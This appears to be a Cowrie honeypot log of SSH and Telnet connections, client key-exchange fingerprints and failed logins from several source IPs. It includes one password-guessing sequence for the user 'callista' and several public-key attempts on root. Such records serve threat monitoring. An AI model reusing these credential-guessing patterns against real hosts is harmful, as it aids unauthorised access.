{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:25:38.080035Z","src_ip":"213.209.159.56","session":"e8230f746390","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"callista","password":"callista","message":"login attempt [callista/callista] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:25:38.478871Z","src_ip":"213.209.159.56","session":"e8230f746390","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"callista","password":"callista1","message":"login attempt [callista/callista1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:25:39.563752Z","src_ip":"213.209.159.56","session":"e8230f746390","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"callista","password":"callista123","message":"login attempt [callista/callista123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:25:40.649436Z","src_ip":"213.209.159.56","session":"e8230f746390","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"callista","password":"callista1234","message":"login attempt [callista/callista1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:25:41.734621Z","src_ip":"213.209.159.56","session":"e8230f746390","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"callista","password":"callista12345","message":"login attempt [callista/callista12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:25:42.819917Z","src_ip":"213.209.159.56","session":"e8230f746390","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:25:43.905191Z","src_ip":"213.209.159.56","session":"e8230f746390","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":38824,"dst_ip":"159.203.135.109","dst_port":22,"session":"9801564e0625","protocol":"ssh","message":"New connection: 193.32.162.145:38824 (159.203.135.109:22) [session: 9801564e0625]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:25:49.043717Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:25:49.145824Z","src_ip":"193.32.162.145","session":"9801564e0625","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"180.235.129.180","src_port":58558,"dst_ip":"10.17.0.5","dst_port":23,"session":"47140f1f9478","protocol":"telnet","message":"New connection: 180.235.129.180:58558 (10.17.0.5:23) [session: 47140f1f9478]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:26:05.322584Z"}
{"eventid":"cowrie.session.closed","duration":54.07960605621338,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:26:09.749956Z","src_ip":"180.235.129.180","session":"fce47c7d53e7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":11.136954307556152,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:26:16.459442Z","src_ip":"180.235.129.180","session":"47140f1f9478","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"186.194.213.196","src_port":23694,"dst_ip":"10.17.0.5","dst_port":23,"session":"60cd281a6df4","protocol":"telnet","message":"New connection: 186.194.213.196:23694 (10.17.0.5:23) [session: 60cd281a6df4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:26:42.139237Z"}
{"eventid":"cowrie.session.connect","src_ip":"180.235.129.180","src_port":34708,"dst_ip":"10.17.0.5","dst_port":23,"session":"e3383e601613","protocol":"telnet","message":"New connection: 180.235.129.180:34708 (10.17.0.5:23) [session: e3383e601613]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:26:53.277701Z"}
{"eventid":"cowrie.session.connect","src_ip":"180.235.129.180","src_port":34700,"dst_ip":"10.17.0.5","dst_port":23,"session":"bc49f52c4f14","protocol":"telnet","message":"New connection: 180.235.129.180:34700 (10.17.0.5:23) [session: bc49f52c4f14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:26:53.302484Z"}
{"eventid":"cowrie.session.closed","duration":13.111114501953125,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:26:55.250253Z","src_ip":"186.194.213.196","session":"60cd281a6df4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"180.235.129.180","src_port":34838,"dst_ip":"10.17.0.5","dst_port":23,"session":"6ac89230c07b","protocol":"telnet","message":"New connection: 180.235.129.180:34838 (10.17.0.5:23) [session: 6ac89230c07b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:26:56.566806Z"}
{"eventid":"cowrie.session.closed","duration":7.503579616546631,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:27:00.805983Z","src_ip":"180.235.129.180","session":"bc49f52c4f14","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":8.32599425315857,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:27:01.603577Z","src_ip":"180.235.129.180","session":"e3383e601613","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"1.222.50.93","src_port":58032,"dst_ip":"159.203.135.109","dst_port":23,"session":"c494e53b0199","protocol":"telnet","message":"New connection: 1.222.50.93:58032 (159.203.135.109:23) [session: c494e53b0199]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:27:13.513827Z"}
{"eventid":"cowrie.session.connect","src_ip":"180.235.129.180","src_port":37684,"dst_ip":"10.17.0.5","dst_port":23,"session":"f9bc3892e6a0","protocol":"telnet","message":"New connection: 180.235.129.180:37684 (10.17.0.5:23) [session: f9bc3892e6a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:27:25.697236Z"}
{"eventid":"cowrie.session.connect","src_ip":"180.235.129.180","src_port":37682,"dst_ip":"10.17.0.5","dst_port":23,"session":"763bfb64ce58","protocol":"telnet","message":"New connection: 180.235.129.180:37682 (10.17.0.5:23) [session: 763bfb64ce58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:27:26.025537Z"}
{"eventid":"cowrie.session.closed","duration":7.540834426879883,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:27:33.566246Z","src_ip":"180.235.129.180","session":"763bfb64ce58","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.654441833496094,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:27:44.168173Z","src_ip":"1.222.50.93","session":"c494e53b0199","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"148.153.121.223","src_port":36344,"dst_ip":"10.17.0.5","dst_port":22,"session":"9d8bf8d96ff0","protocol":"ssh","message":"New connection: 148.153.121.223:36344 (10.17.0.5:22) [session: 9d8bf8d96ff0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:27:44.549292Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:27:44.553826Z","src_ip":"148.153.121.223","session":"9d8bf8d96ff0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:27:44.593276Z","src_ip":"148.153.121.223","session":"9d8bf8d96ff0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d3:12:a8:3b:99:1c:12:ef:96:8a:05:7c:2b:99:9f:e0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC90bz8X2zO/KxngxxpD+ZKXt+D0vdalprycY1T8hjYbZP4G1h0REC+A+MzJ+0JZtaZTuVkP9rjT9Ce3ZSOs1BXcoiob9u4LMH1BDqQVcNcynXL/8EjzVogR0ORB3JrMAkg+AmbXnFLYx6kOgDM1AJIIT8A2FQqD9aI9BRu2ZUeWb8vuyDPc5AisHQm+HoYbCV03zHjG/yc9To/hpxfbS6uZ6Nu4WQfr76h445wo7YLCUGUzbibfot5yzrRHOP4FeRshfjOpWTAqTbKIOx6GOtwwM1Aob6S11GYsd9rs0OWrzqFPOfVexrJphPWHmCjoOMXLJ87qZrWJl2GLMRBm+5N","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d3:12:a8:3b:99:1c:12:ef:96:8a:05:7c:2b:99:9f:e0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:27:44.770726Z","src_ip":"148.153.121.223","session":"9d8bf8d96ff0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d3:12:a8:3b:99:1c:12:ef:96:8a:05:7c:2b:99:9f:e0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC90bz8X2zO/KxngxxpD+ZKXt+D0vdalprycY1T8hjYbZP4G1h0REC+A+MzJ+0JZtaZTuVkP9rjT9Ce3ZSOs1BXcoiob9u4LMH1BDqQVcNcynXL/8EjzVogR0ORB3JrMAkg+AmbXnFLYx6kOgDM1AJIIT8A2FQqD9aI9BRu2ZUeWb8vuyDPc5AisHQm+HoYbCV03zHjG/yc9To/hpxfbS6uZ6Nu4WQfr76h445wo7YLCUGUzbibfot5yzrRHOP4FeRshfjOpWTAqTbKIOx6GOtwwM1Aob6S11GYsd9rs0OWrzqFPOfVexrJphPWHmCjoOMXLJ87qZrWJl2GLMRBm+5N","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:27:44.775290Z","src_ip":"148.153.121.223","session":"9d8bf8d96ff0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"7b:0b:2a:6d:2f:14:1f:26:42:ad:4e:ea:f9:c8:72:a1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCeyxCyAfkxHalWC09fiY/e06Jt27qmbB/H30aBW60HC4fqYrXWfvqxHy1Dz2nRGByIi30LHMbb5dmcKR4AzDBG3a6ugyRpOQKGO6CMzlSmxBWc4N1KQcoNckRYFjlAtDw94BCN2wOxJcIxbuIjiDH3agKKoFUiEdbtZ73tlyAdns0bgfwMQJHd+qFrEPawQF9rLwl4M+YrObt11CvawT2L6L+TnXX+OEC2dw1Z8xdczH8RlgFA0TDo8ouGRP63yjEUW2gyzjyv+dwKsJ79lVZHKlhewXwA0NvDm+2eWFjzAbqowidfsUYz/WnQG7PaIQBZdoTRfqhwuS+uQWDQiqnGmlC1JS6bv1v78tPxoXjVRKAPi4waxZ4s40BUcO40h3wLZvihIworWjvoc+p0S7HouKERPDhmjgTsNnHA21Jchjs2VSY2bev10seB0rGILDjupLK6BZtcLy+WO7Z2j3YBDmtbWO0bbQjjR7jsngJMFCfTcuBVmhcXvqDgTN2ts/Xwq7FzNPeroWxHPGyrp5R+VZCcaNwPDqR63C+aIsiTy4muI4zvUMS78sVbtXc0RgxIK/2rmpEDeUIw9RXx1/dlSD4YxKSZYCiHk03Qo3a7jqtdMRv3/hGTdG97Dw3U90UbAH4hgezpdHC/SEFV9PezIjeAecN/ZNQdxIc0Iwi2GQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 7b:0b:2a:6d:2f:14:1f:26:42:ad:4e:ea:f9:c8:72:a1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:27:44.816855Z","src_ip":"148.153.121.223","session":"9d8bf8d96ff0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"7b:0b:2a:6d:2f:14:1f:26:42:ad:4e:ea:f9:c8:72:a1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCeyxCyAfkxHalWC09fiY/e06Jt27qmbB/H30aBW60HC4fqYrXWfvqxHy1Dz2nRGByIi30LHMbb5dmcKR4AzDBG3a6ugyRpOQKGO6CMzlSmxBWc4N1KQcoNckRYFjlAtDw94BCN2wOxJcIxbuIjiDH3agKKoFUiEdbtZ73tlyAdns0bgfwMQJHd+qFrEPawQF9rLwl4M+YrObt11CvawT2L6L+TnXX+OEC2dw1Z8xdczH8RlgFA0TDo8ouGRP63yjEUW2gyzjyv+dwKsJ79lVZHKlhewXwA0NvDm+2eWFjzAbqowidfsUYz/WnQG7PaIQBZdoTRfqhwuS+uQWDQiqnGmlC1JS6bv1v78tPxoXjVRKAPi4waxZ4s40BUcO40h3wLZvihIworWjvoc+p0S7HouKERPDhmjgTsNnHA21Jchjs2VSY2bev10seB0rGILDjupLK6BZtcLy+WO7Z2j3YBDmtbWO0bbQjjR7jsngJMFCfTcuBVmhcXvqDgTN2ts/Xwq7FzNPeroWxHPGyrp5R+VZCcaNwPDqR63C+aIsiTy4muI4zvUMS78sVbtXc0RgxIK/2rmpEDeUIw9RXx1/dlSD4YxKSZYCiHk03Qo3a7jqtdMRv3/hGTdG97Dw3U90UbAH4hgezpdHC/SEFV9PezIjeAecN/ZNQdxIc0Iwi2GQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:27:44.820976Z","src_ip":"148.153.121.223","session":"9d8bf8d96ff0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"44:5b:ea:2c:35:c2:a6:03:e5:95:35:df:5d:5b:8f:51","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCo/35SJ0/I3Z7nuNYs+c5HNJ9Ox5eshg/lORArb7yjjC3j5H0azOjrU3HpVmEQrbVjUYx4NyOFPxNKcP00f3/yNkueVnRxPshzFL3C9cGFPaBie4AX+y1KYyU7DSysLv0mcHDrhXwPUqZUdv8ZrlnNWIQOKsmG1B6gtcFtQJAIT/sPMbAkN6y00do6FB/GTJstKBY08qKTwq3u7a4XtA/qMQ254MdN8FuKuWoqJaA9ZrsADiCUNhUrLLJAfZJJHPi0G2j1jygpuyWFj/VT0Y2WamCcDq6EFl9f+qHdL7OBUSDl9I4TN+A4O5f1OZfSm/uSp/HAstjKSRhI8n665zBsUkjyyrswFQFdlAZlShTWZfq5uGJmxWfMWmzRT/LwzieQ3wcU6mjBF4Ix6FE21X7JvOTsc6lpX7tYgMmM6kHfcM1QbGQ/vkLEyIgY9bit6gWd2DoKPR4ESfR/BEJoCHnOqqPDIbSquv0b7uytP8wICUJbCtnUaorXIk3shFWaH9JdxeOTS1oGPbjv8PLzJyBn1qhgbBaTmBWv7ghQ77Iw6yxXgcigDwCHAUd9S1meX9+ufUCXSW6PKKvnP1HHK2o1yLji9L5Zq4ch5sW13dLKTQIl5HxNnRTAtBWpjE7bmVHoOpntP+VFy0qtEH6q2aCKE3w6HvLEH0FlSi0iGI+taQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 44:5b:ea:2c:35:c2:a6:03:e5:95:35:df:5d:5b:8f:51","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:27:44.862538Z","src_ip":"148.153.121.223","session":"9d8bf8d96ff0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"44:5b:ea:2c:35:c2:a6:03:e5:95:35:df:5d:5b:8f:51","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCo/35SJ0/I3Z7nuNYs+c5HNJ9Ox5eshg/lORArb7yjjC3j5H0azOjrU3HpVmEQrbVjUYx4NyOFPxNKcP00f3/yNkueVnRxPshzFL3C9cGFPaBie4AX+y1KYyU7DSysLv0mcHDrhXwPUqZUdv8ZrlnNWIQOKsmG1B6gtcFtQJAIT/sPMbAkN6y00do6FB/GTJstKBY08qKTwq3u7a4XtA/qMQ254MdN8FuKuWoqJaA9ZrsADiCUNhUrLLJAfZJJHPi0G2j1jygpuyWFj/VT0Y2WamCcDq6EFl9f+qHdL7OBUSDl9I4TN+A4O5f1OZfSm/uSp/HAstjKSRhI8n665zBsUkjyyrswFQFdlAZlShTWZfq5uGJmxWfMWmzRT/LwzieQ3wcU6mjBF4Ix6FE21X7JvOTsc6lpX7tYgMmM6kHfcM1QbGQ/vkLEyIgY9bit6gWd2DoKPR4ESfR/BEJoCHnOqqPDIbSquv0b7uytP8wICUJbCtnUaorXIk3shFWaH9JdxeOTS1oGPbjv8PLzJyBn1qhgbBaTmBWv7ghQ77Iw6yxXgcigDwCHAUd9S1meX9+ufUCXSW6PKKvnP1HHK2o1yLji9L5Zq4ch5sW13dLKTQIl5HxNnRTAtBWpjE7bmVHoOpntP+VFy0qtEH6q2aCKE3w6HvLEH0FlSi0iGI+taQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:27:44.866562Z","src_ip":"148.153.121.223","session":"9d8bf8d96ff0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"34:36:fa:87:3f:bc:f7:07:8b:b9:82:aa:9f:3f:19:93","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC/HvfSCV2mq1bCwkfnR8/7+D4MaUF7SSwGQKiwJkJWUVhOtxLFjVQ+u+xxbbQTFor+iGSvBnOpxGcbQlp2mxjz42odWJpYVkGekdczBniTlR7o4G/HbcbcB8Jp315Qp8Pzs73zY+UuBogXiMjm4v5o/ser5rLYxlWOjxa/8C6JLPkZPbWC6AqmVfd0plSdimA9vKii0P6JgKTn1XLFFfe516TvolWNGrkCRzFrN/liHk9MFRGOf102Lw3PHAh78N6qgGjg1s6HppXzvVd0czMb8FnNbG2BlejPRV5QOQe3xtZ8YaT0xSj0NRO8zXN4lNw7VP3MT+Yxe22QgwObYigIE6M6ZEztg9DIED8aF40fFYnglmD/CHpWDy2JYD4R0vW0VDCAzePoJWE6mPI4Tgz7P61yxjpdnox9+mxY8FokJU/uTg00iWPLgmB3ZQYHHAMQpVlFXrLa99sei3oqh6E5007ffZItEKg6hW/s1akap+h0Dj+NeAT0vzcREhll7uANj0EPLPPBvrqB1/4GHEq4/9qan24uQNB3lT67l7+wr6o4lCSiJNCECw2e5K5BrNi5aWt19r/me1nuj4mbAulSFPFzjllsl0kHMP3lLJBN7QrYyQUsW0rP2SMkrV/z5C5UfDpCPpWrqOwe058vnf/mi7ZfAy2+/1nsKiQmCUnaMQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 34:36:fa:87:3f:bc:f7:07:8b:b9:82:aa:9f:3f:19:93","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:27:44.910073Z","src_ip":"148.153.121.223","session":"9d8bf8d96ff0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"34:36:fa:87:3f:bc:f7:07:8b:b9:82:aa:9f:3f:19:93","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC/HvfSCV2mq1bCwkfnR8/7+D4MaUF7SSwGQKiwJkJWUVhOtxLFjVQ+u+xxbbQTFor+iGSvBnOpxGcbQlp2mxjz42odWJpYVkGekdczBniTlR7o4G/HbcbcB8Jp315Qp8Pzs73zY+UuBogXiMjm4v5o/ser5rLYxlWOjxa/8C6JLPkZPbWC6AqmVfd0plSdimA9vKii0P6JgKTn1XLFFfe516TvolWNGrkCRzFrN/liHk9MFRGOf102Lw3PHAh78N6qgGjg1s6HppXzvVd0czMb8FnNbG2BlejPRV5QOQe3xtZ8YaT0xSj0NRO8zXN4lNw7VP3MT+Yxe22QgwObYigIE6M6ZEztg9DIED8aF40fFYnglmD/CHpWDy2JYD4R0vW0VDCAzePoJWE6mPI4Tgz7P61yxjpdnox9+mxY8FokJU/uTg00iWPLgmB3ZQYHHAMQpVlFXrLa99sei3oqh6E5007ffZItEKg6hW/s1akap+h0Dj+NeAT0vzcREhll7uANj0EPLPPBvrqB1/4GHEq4/9qan24uQNB3lT67l7+wr6o4lCSiJNCECw2e5K5BrNi5aWt19r/me1nuj4mbAulSFPFzjllsl0kHMP3lLJBN7QrYyQUsW0rP2SMkrV/z5C5UfDpCPpWrqOwe058vnf/mi7ZfAy2+/1nsKiQmCUnaMQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:27:44.913936Z","src_ip":"148.153.121.223","session":"9d8bf8d96ff0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"14:83:64:bc:2e:8c:d0:6b:5e:90:94:54:7e:23:8e:39","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCqmtgo0IuzkIBs6oWa0vqoX7RMYNm8opKrgnUE0PP0zqqT8hqXzKmSP77yLcSXLOCrkWOC3W1/lqGDzwVqtNcnE8yfHuNWBzfw817VNYxpC3/tRtLHooaL3OmgMBME52BJ95c32iypwrXA3amY33//TPM/IUezVigjhvOiZxrB2pHQgFALW4eGY8GGWiyH0wRCPwduBxmKL6WcpELq8bK5WLmKCdAOM1JFCVDqW05S8eroincHajdY0B8Om08MzV4RvcYBn/0p46v0ONbo8z2ehl4FlykISHsg1wVH3V/JlPZY71hZFHcZqA6zjVKGKpinr7fMhRIh9q1DHy2Xr+2JTVCDqNEfVTD3wi8XMp3Ilb3aAf7Eqw2CwfZbnflebI9iZrro5/efbOzK/1tjXBJepA3AsaU8r4GxKX3lnc7w0FtngrDu3jCf9VTMVNwR3fjw12yCoZrQ4monuR/g35SGa4uzDZG8kEfwB9M8INAU5OV5Bth+WGWG9mJhGOT9ewTt/1q41Sybbi3LIrYKupEB5fr6jSUvmpyjY4uq1SRylfWjAQfQ0Xcfzrt0JXg26XlQtIaGu4hQFmwuUVK2HUDAezYxV8Z2wKnNoLBUH0BxPG1F/CTNn9b7bqNv2ES5mn3zNBUifrStXPwkldV69i5vDXKazxofdQoWOxM8MslCkw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 14:83:64:bc:2e:8c:d0:6b:5e:90:94:54:7e:23:8e:39","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:27:44.956085Z","src_ip":"148.153.121.223","session":"9d8bf8d96ff0","protocol":"ssh"}
